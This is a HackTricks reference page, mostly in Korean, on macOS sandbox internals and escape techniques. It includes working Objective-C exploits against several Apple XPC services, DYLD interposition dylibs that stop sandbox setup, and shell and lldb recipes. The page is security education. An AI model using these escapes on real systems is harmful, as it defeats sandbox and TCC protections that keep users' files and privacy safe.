macOS Sandbox Debug & Bypass

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

Sandbox loading process

Image from http://newosxbook.com/files/HITSB.pdf

이전 μ΄λ―Έμ§€μ—μ„œλŠ” com.apple.security.app-sandbox κΆŒν•œμ„ κ°€μ§„ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ΄ 싀행될 λ•Œ μƒŒλ“œλ°•μŠ€κ°€ μ–΄λ–»κ²Œ λ‘œλ“œλ˜λŠ”μ§€ κ΄€μ°°ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

μ»΄νŒŒμΌλŸ¬λŠ” /usr/lib/libSystem.B.dylibλ₯Ό λ°”μ΄λ„ˆλ¦¬μ— λ§ν¬ν•©λ‹ˆλ‹€.

그런 λ‹€μŒ, **libSystem.B**λŠ” μ—¬λŸ¬ λ‹€λ₯Έ ν•¨μˆ˜λ₯Ό ν˜ΈμΆœν•˜μ—¬ **xpc_pipe_routine**이 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ κΆŒν•œμ„ **securityd**에 μ „μ†‘ν•©λ‹ˆλ‹€. SecuritydλŠ” ν”„λ‘œμ„ΈμŠ€κ°€ μƒŒλ“œλ°•μŠ€ λ‚΄μ—μ„œ κ²©λ¦¬λ˜μ–΄μ•Ό ν•˜λŠ”μ§€ ν™•μΈν•˜κ³ , κ·Έλ ‡λ‹€λ©΄ κ²©λ¦¬ν•©λ‹ˆλ‹€.
λ§ˆμ§€λ§‰μœΌλ‘œ, μƒŒλ“œλ°•μŠ€λŠ” **__sandbox_ms**에 λŒ€ν•œ 호좜둜 ν™œμ„±ν™”λ˜λ©°, μ΄λŠ” **__mac_syscall**을 ν˜ΈμΆœν•©λ‹ˆλ‹€.

Possible Bypasses

Bypassing quarantine attribute

μƒŒλ“œλ°•μŠ€ν™”λœ ν”„λ‘œμ„ΈμŠ€μ— μ˜ν•΄ μƒμ„±λœ νŒŒμΌμ€ μƒŒλ“œλ°•μŠ€ νƒˆμΆœμ„ λ°©μ§€ν•˜κΈ° μœ„ν•΄ 격리 속성이 μΆ”κ°€λ©λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ μƒŒλ“œλ°•μŠ€ν™”λœ μ• ν”Œλ¦¬μΌ€μ΄μ…˜ λ‚΄μ—μ„œ 격리 속성이 μ—†λŠ” .app 폴더λ₯Ό 생성할 수 μžˆλ‹€λ©΄, μ• ν”Œλ¦¬μΌ€μ΄μ…˜ λ²ˆλ“€ λ°”μ΄λ„ˆλ¦¬λ₯Ό **/bin/bash**둜 κ°€λ¦¬ν‚€κ²Œ ν•˜κ³  plist에 λͺ‡ κ°€μ§€ ν™˜κ²½ λ³€μˆ˜λ₯Ό μΆ”κ°€ν•˜μ—¬ μƒˆ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ λΉ„μƒŒλ“œλ°•μŠ€ μƒνƒœλ‘œ μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

이것은 CVE-2023-32364μ—μ„œ μˆ˜ν–‰λœ μž‘μ—…μž…λ‹ˆλ‹€.

Caution

λ”°λΌμ„œ ν˜„μž¬λ‘œμ„œλŠ” **격리 속성이 μ—†λŠ” .app**둜 λλ‚˜λŠ” μ΄λ¦„μ˜ 폴더λ₯Ό 생성할 수 μžˆλ‹€λ©΄, μƒŒλ“œλ°•μŠ€λ₯Ό νƒˆμΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€. macOSλŠ” .app 폴더와 μ£Ό μ‹€ν–‰ νŒŒμΌμ—μ„œλ§Œ 격리 속성을 ν™•μΈν•˜κΈ° λ•Œλ¬Έμž…λ‹ˆλ‹€ (μš°λ¦¬λŠ” μ£Ό μ‹€ν–‰ νŒŒμΌμ„ **/bin/bash**둜 κ°€λ¦¬ν‚€κ²Œ ν•  κ²ƒμž…λ‹ˆλ‹€).

이미 싀행을 ν—ˆκ°€λ°›μ€ .app λ²ˆλ“€μ΄ μžˆλ‹€λ©΄ (μ‹€ν–‰ ν—ˆκ°€ ν”Œλž˜κ·Έκ°€ μžˆλŠ” 격리 xttrκ°€ μžˆλŠ” 경우), 그것을 μ•…μš©ν•  μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€β€¦ 단, μ΄μ œλŠ” μƒŒλ“œλ°•μŠ€ λ‚΄μ—μ„œλŠ” 일뢀 특ꢌ TCC κΆŒν•œμ΄ μ—†μœΌλ©΄ .app λ²ˆλ“€ 내에 μ“Έ 수 μ—†μŠ΅λ‹ˆλ‹€ (μƒŒλ“œλ°•μŠ€ 높은 κΆŒν•œ λ‚΄μ—μ„œλŠ” λΆˆκ°€λŠ₯ν•©λ‹ˆλ‹€).

Abusing Open functionality

Word μƒŒλ“œλ°•μŠ€ μš°νšŒμ— λŒ€ν•œ λ§ˆμ§€λ§‰ μ˜ˆμ‹œμ—μ„œλŠ” open CLI κΈ°λŠ₯이 μƒŒλ“œλ°•μŠ€λ₯Ό μš°νšŒν•˜λŠ” 데 μ–΄λ–»κ²Œ μ•…μš©λ  수 μžˆλŠ”μ§€ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

macOS Office Sandbox Bypasses

Launch Agents/Daemons

μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ΄ μƒŒλ“œλ°•μŠ€ν™”λ˜μ–΄μ•Ό ν•˜λŠ” 경우(com.apple.security.app-sandbox), 예λ₯Ό λ“€μ–΄ LaunchAgent(~/Library/LaunchAgents)μ—μ„œ μ‹€ν–‰λ˜λ©΄ μƒŒλ“œλ°•μŠ€λ₯Ό μš°νšŒν•  수 μžˆμŠ΅λ‹ˆλ‹€.
이 κ²Œμ‹œλ¬Όμ—μ„œ μ„€λͺ…ν•œ 바와 같이, μƒŒλ“œλ°•μŠ€ν™”λœ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μœΌλ‘œ 지속성을 μ–»μœΌλ €λ©΄ LaunchAgent둜 μžλ™ μ‹€ν–‰λ˜λ„λ‘ λ§Œλ“€κ³  DyLib ν™˜κ²½ λ³€μˆ˜λ₯Ό 톡해 μ•…μ„± μ½”λ“œλ₯Ό μ£Όμž…ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Abusing Auto Start Locations

μƒŒλ“œλ°•μŠ€ν™”λœ ν”„λ‘œμ„ΈμŠ€κ°€ λ‚˜μ€‘μ— λΉ„μƒŒλ“œλ°•μŠ€ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ΄ λ°”μ΄λ„ˆλ¦¬λ₯Ό μ‹€ν–‰ν•  μœ„μΉ˜μ— μ“°κΈ° ν•  수 μžˆλ‹€λ©΄, 그곳에 λ°”μ΄λ„ˆλ¦¬λ₯Ό λ°°μΉ˜ν•˜κΈ°λ§Œ ν•˜λ©΄ νƒˆμΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ μœ„μΉ˜μ˜ 쒋은 μ˜ˆλŠ” ~/Library/LaunchAgents λ˜λŠ” /System/Library/LaunchDaemonsμž…λ‹ˆλ‹€.

이λ₯Ό μœ„ν•΄μ„œλŠ” 2단계가 ν•„μš”ν•  수 μžˆμŠ΅λ‹ˆλ‹€: 더 κ΄€λŒ€ ν•œ μƒŒλ“œλ°•μŠ€(file-read*, file-write*)λ₯Ό κ°€μ§„ ν”„λ‘œμ„ΈμŠ€λ₯Ό μ‹€ν–‰ν•˜μ—¬ μ‹€μ œλ‘œ λΉ„μƒŒλ“œλ°•μŠ€ μƒνƒœλ‘œ 싀행될 μœ„μΉ˜μ— μ½”λ“œλ₯Ό μž‘μ„±ν•˜κ²Œ ν•©λ‹ˆλ‹€.

μžλ™ μ‹œμž‘ μœ„μΉ˜μ— λŒ€ν•œ 이 νŽ˜μ΄μ§€λ₯Ό ν™•μΈν•˜μ„Έμš”:

macOS Auto Start

Abusing other processes

μƒŒλ“œλ°•μŠ€ ν”„λ‘œμ„ΈμŠ€μ—μ„œ 덜 μ œν•œμ μΈ μƒŒλ“œλ°•μŠ€(λ˜λŠ” μ—†λŠ” μƒŒλ“œλ°•μŠ€)μ—μ„œ μ‹€ν–‰ 쀑인 λ‹€λ₯Έ ν”„λ‘œμ„ΈμŠ€λ₯Ό 타격할 수 μžˆλ‹€λ©΄, κ·Έλ“€μ˜ μƒŒλ“œλ°•μŠ€λ₯Ό νƒˆμΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€:

macOS Process Abuse

Available System and User Mach services

μƒŒλ“œλ°•μŠ€λŠ” λ˜ν•œ ν”„λ‘œν•„ application.sb에 μ •μ˜λœ νŠΉμ • Mach μ„œλΉ„μŠ€μ™€ 톡신할 수 μžˆλ„λ‘ ν—ˆμš©ν•©λ‹ˆλ‹€. μ΄λŸ¬ν•œ μ„œλΉ„μŠ€ 쀑 ν•˜λ‚˜λ₯Ό μ•…μš©ν•  수 μžˆλ‹€λ©΄ μƒŒλ“œλ°•μŠ€λ₯Ό νƒˆμΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€.

이 글에 λ”°λ₯΄λ©΄, Mach μ„œλΉ„μŠ€μ— λŒ€ν•œ μ •λ³΄λŠ” /System/Library/xpc/launchd.plist에 μ €μž₯λ©λ‹ˆλ‹€. <string>System</string> 및 <string>User</string>λ₯Ό κ²€μƒ‰ν•˜μ—¬ λͺ¨λ“  μ‹œμŠ€ν…œ 및 μ‚¬μš©μž Mach μ„œλΉ„μŠ€λ₯Ό 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.

λ˜ν•œ, bootstrap_look_up을 ν˜ΈμΆœν•˜μ—¬ μƒŒλ“œλ°•μŠ€ν™”λœ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ— Mach μ„œλΉ„μŠ€κ°€ μ‚¬μš© κ°€λŠ₯ν•œμ§€ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
if (!err) {
NSLog(@"available service:%s", serviceName);
mach_port_deallocate(mach_task_self_, service_port);
}
}

void print_available_xpc(void) {
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
for (NSString* key in launchDaemons) {
NSDictionary<NSString*, id>* job = launchDaemons[key];
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
for (NSString* serviceName in machServices) {
checkService(serviceName.UTF8String);
}
}
}

μ‚¬μš© κ°€λŠ₯ν•œ PID Mach μ„œλΉ„μŠ€

이 Mach μ„œλΉ„μŠ€λŠ” 이 λ¬Έμ„œμ—μ„œ μƒŒλ“œλ°•μŠ€λ₯Ό νƒˆμΆœν•˜λŠ” 데 처음으둜 μ•…μš©λ˜μ—ˆμŠ΅λ‹ˆλ‹€. κ·Έ λ‹Ήμ‹œ, μ• ν”Œλ¦¬μΌ€μ΄μ…˜κ³Ό κ·Έ ν”„λ ˆμž„μ›Œν¬μ—μ„œ μš”κ΅¬λ˜λŠ” λͺ¨λ“  XPC μ„œλΉ„μŠ€κ°€ μ•±μ˜ PID λ„λ©”μΈμ—μ„œ λ³΄μ˜€μŠ΅λ‹ˆλ‹€(이듀은 ServiceType이 Application인 Mach μ„œλΉ„μŠ€μž…λ‹ˆλ‹€).

PID 도메인 XPC μ„œλΉ„μŠ€μ— μ—°λ½ν•˜κΈ° μœ„ν•΄μ„œλŠ”, μ•± λ‚΄μ—μ„œ λ‹€μŒκ³Ό 같은 ν•œ μ€„λ‘œ λ“±λ‘ν•˜κΈ°λ§Œ ν•˜λ©΄ λ©λ‹ˆλ‹€:

[[NSBundle bundleWithPath:@β€œ/System/Library/PrivateFrameworks/ShoveService.framework"]load];

λ˜ν•œ, <string>Application</string>에 λŒ€ν•΄ System/Library/xpc/launchd.plist λ‚΄μ—μ„œ κ²€μƒ‰ν•˜μ—¬ λͺ¨λ“  Application Mach μ„œλΉ„μŠ€λ₯Ό μ°ΎλŠ” 것이 κ°€λŠ₯ν•©λ‹ˆλ‹€.

μœ νš¨ν•œ xpc μ„œλΉ„μŠ€λ₯Ό μ°ΎλŠ” 또 λ‹€λ₯Έ 방법은 λ‹€μŒμ˜ μ„œλΉ„μŠ€λ₯Ό ν™•μΈν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€:

find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"

이 κΈ°μˆ μ„ μ•…μš©ν•œ μ—¬λŸ¬ μ˜ˆμ‹œλŠ” 원본 μž‘μ„±λ¬Όμ—μ„œ 찾을 수 μžˆμ§€λ§Œ, λ‹€μŒμ€ μš”μ•½λœ μ˜ˆμ‹œμž…λ‹ˆλ‹€.

/System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc

이 μ„œλΉ„μŠ€λŠ” 항상 YESλ₯Ό λ°˜ν™˜ν•˜μ—¬ λͺ¨λ“  XPC 연결을 ν—ˆμš©ν•˜λ©°, λ©”μ„œλ“œ runTask:arguments:withReply:λŠ” μž„μ˜μ˜ λͺ…령을 μž„μ˜μ˜ λ§€κ°œλ³€μˆ˜λ‘œ μ‹€ν–‰ν•©λ‹ˆλ‹€.

μ΅μŠ€ν”Œλ‘œμž‡μ€ β€œλ§€μš° κ°„λ‹¨ν•˜κ²Œβ€ λ‹€μŒκ³Ό κ°™μ•˜μŠ΅λ‹ˆλ‹€:

@protocol SKRemoteTaskRunnerProtocol
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
@end

void exploit_storagekitfsrunner(void) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
[conn resume];

[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
NSLog(@"run task result:%@, error:%@", bSucc, error);
}];
}

/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc

이 XPC μ„œλΉ„μŠ€λŠ” 항상 YESλ₯Ό λ°˜ν™˜ν•˜μ—¬ λͺ¨λ“  ν΄λΌμ΄μ–ΈνŠΈλ₯Ό ν—ˆμš©ν–ˆμœΌλ©°, λ©”μ„œλ“œ createZipAtPath:hourThreshold:withReply:λŠ” μ••μΆ•ν•  ν΄λ”μ˜ 경둜λ₯Ό μ§€μ •ν•  수 있게 ν•΄μ£Όμ—ˆμŠ΅λ‹ˆλ‹€. 그러면 ZIP 파일둜 μ••μΆ•λ©λ‹ˆλ‹€.

λ”°λΌμ„œ κ°€μ§œ μ•± 폴더 ꡬ쑰λ₯Ό μƒμ„±ν•˜κ³  μ••μΆ•ν•œ λ‹€μŒ, 이λ₯Ό ν’€κ³  μ‹€ν–‰ν•˜μ—¬ μƒŒλ“œλ°•μŠ€λ₯Ό νƒˆμΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€. μƒˆλ‘œμš΄ νŒŒμΌμ€ 격리 속성을 κ°€μ§€μ§€ μ•ŠκΈ° λ•Œλ¬Έμž…λ‹ˆλ‹€.

μ΅μŠ€ν”Œλ‘œμž‡μ€:

@protocol AudioAnalyticsHelperServiceProtocol
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
@end
void exploit_AudioAnalyticsHelperService(void) {
NSString *currentPath = NSTemporaryDirectory();
chdir([currentPath UTF8String]);
NSLog(@"======== preparing payload at the current path:%@", currentPath);
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
system("chmod +x compressed/poc.app/Contents/MacOS/poc");

[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
[conn resume];

[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
NSString *file;
while ((file = [dirEnum nextObject])) {
if ([[file pathExtension] isEqualToString: @"zip"]) {
// open the zip
NSString *cmd = [@"open " stringByAppendingString:file];
system([cmd UTF8String]);

sleep(3); // wait for decompression and then open the payload (poc.app)
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
system([cmd2 UTF8String]);
break;
}
}
}];
}

/System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc

이 XPC μ„œλΉ„μŠ€λŠ” extendAccessToURL:completion: λ©”μ„œλ“œλ₯Ό 톡해 XPC ν΄λΌμ΄μ–ΈνŠΈμ—κ²Œ μž„μ˜μ˜ URL에 λŒ€ν•œ 읽기 및 μ“°κΈ° μ•‘μ„ΈμŠ€λ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€. XPC μ„œλΉ„μŠ€κ°€ FDAλ₯Ό κ°€μ§€κ³  있기 λ•Œλ¬Έμ—, μ΄λŸ¬ν•œ κΆŒν•œμ„ μ•…μš©ν•˜μ—¬ TCCλ₯Ό μ™„μ „νžˆ μš°νšŒν•  수 μžˆμŠ΅λ‹ˆλ‹€.

μ•…μš© 방법은:

@protocol WFFileAccessHelperProtocol
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
@end
typedef int (*PFN)(const char *);
void expoit_ShortcutsFileAccessHelper(NSString *target) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
[conn resume];

[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
NSURL *targetURL = [fpWrapper url];

void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
else {
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
}
}];
}

Static Compiling & Dynamically linking

이 μ—°κ΅¬λŠ” Sandboxλ₯Ό μš°νšŒν•˜λŠ” 2κ°€μ§€ 방법을 λ°œκ²¬ν–ˆμŠ΅λ‹ˆλ‹€. SandboxλŠ” libSystem λΌμ΄λΈŒλŸ¬λ¦¬κ°€ λ‘œλ“œλ  λ•Œ μ‚¬μš©μž κ³΅κ°„μ—μ„œ μ μš©λ©λ‹ˆλ‹€. 이진 파일이 이λ₯Ό λ‘œλ“œν•˜λŠ” 것을 ν”Όν•  수 μžˆλ‹€λ©΄, μ ˆλŒ€ Sandbox에 걸리지 μ•Šμ„ κ²ƒμž…λ‹ˆλ‹€:

  • 이진 파일이 μ™„μ „νžˆ μ •μ μœΌλ‘œ μ»΄νŒŒμΌλ˜μ—ˆλ‹€λ©΄, ν•΄λ‹Ή 라이브러리λ₯Ό λ‘œλ“œν•˜λŠ” 것을 ν”Όν•  수 μžˆμŠ΅λ‹ˆλ‹€.
  • 이진 파일이 μ–΄λ–€ λΌμ΄λΈŒλŸ¬λ¦¬λ„ λ‘œλ“œν•  ν•„μš”κ°€ μ—†λ‹€λ©΄ (링컀도 libSystem에 있기 λ•Œλ¬Έμ—), libSystem을 λ‘œλ“œν•  ν•„μš”κ°€ μ—†μŠ΅λ‹ˆλ‹€.

Shellcodes

심지어 shellcodes도 ARM64μ—μ„œ libSystem.dylib에 λ§ν¬λ˜μ–΄μ•Ό ν•œλ‹€λŠ” 점에 μœ μ˜ν•˜μ„Έμš”:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

μƒμ†λ˜μ§€ μ•Šμ€ μ œν•œ

**이 κΈ€μ˜ λ³΄λ„ˆμŠ€**μ—μ„œ μ„€λͺ…ν•œ κ²ƒμ²˜λŸΌ, μƒŒλ“œλ°•μŠ€ μ œν•œμ€ λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:

(version 1)
(allow default)
(deny file-write* (literal "/private/tmp/sbx"))

μƒˆ ν”„λ‘œμ„ΈμŠ€κ°€ 예λ₯Ό λ“€μ–΄ μ‹€ν–‰λ¨μœΌλ‘œμ¨ 우회될 수 μžˆμŠ΅λ‹ˆλ‹€:

mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app

κ·ΈλŸ¬λ‚˜ λ¬Όλ‘  이 μƒˆλ‘œμš΄ ν”„λ‘œμ„ΈμŠ€λŠ” λΆ€λͺ¨ ν”„λ‘œμ„ΈμŠ€μ˜ κΆŒν•œμ΄λ‚˜ νŠΉκΆŒμ„ 상속받지 μ•ŠμŠ΅λ‹ˆλ‹€.

Entitlements

νŠΉμ • entitlement이 μžˆλŠ” 경우, 일뢀 actionsκ°€ sandbox에 μ˜ν•΄ ν—ˆμš©λ  수 μžˆμŒμ„ μœ μ˜ν•˜μ‹­μ‹œμ˜€.

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interposting Bypass

Interposting에 λŒ€ν•œ μžμ„Έν•œ μ •λ³΄λŠ” λ‹€μŒμ„ ν™•μΈν•˜μ„Έμš”:

macOS Function Hooking

μƒŒλ“œλ°•μŠ€λ₯Ό λ°©μ§€ν•˜κΈ° μœ„ν•΄ _libsecinit_initializerλ₯Ό μΈν„°ν¬μŠ€νŠΈν•©λ‹ˆλ‹€.

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interpost __mac_syscall둜 μƒŒλ“œλ°•μŠ€ λ°©μ§€ν•˜κΈ°

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Debug & bypass Sandbox with lldb

μƒŒλ“œλ°•μŠ€λ˜μ–΄μ•Ό ν•˜λŠ” μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ μ»΄νŒŒμΌν•΄ λ³΄κ² μŠ΅λ‹ˆλ‹€:

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

그런 λ‹€μŒ 앱을 μ»΄νŒŒμΌν•©λ‹ˆλ‹€:

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

Caution

이 앱은 ~/Desktop/del.txt νŒŒμΌμ„ 읽으렀고 ν•  것이며, SandboxλŠ” 이λ₯Ό ν—ˆμš©ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.
Sandboxκ°€ 우회된 ν›„ 읽을 수 μžˆλ„λ‘ 그곳에 νŒŒμΌμ„ λ§Œλ“œμ„Έμš”:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ λ””λ²„κΉ…ν•˜μ—¬ Sandboxκ°€ μ–Έμ œ λ‘œλ“œλ˜λŠ”μ§€ 확인해 λ΄…μ‹œλ‹€:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
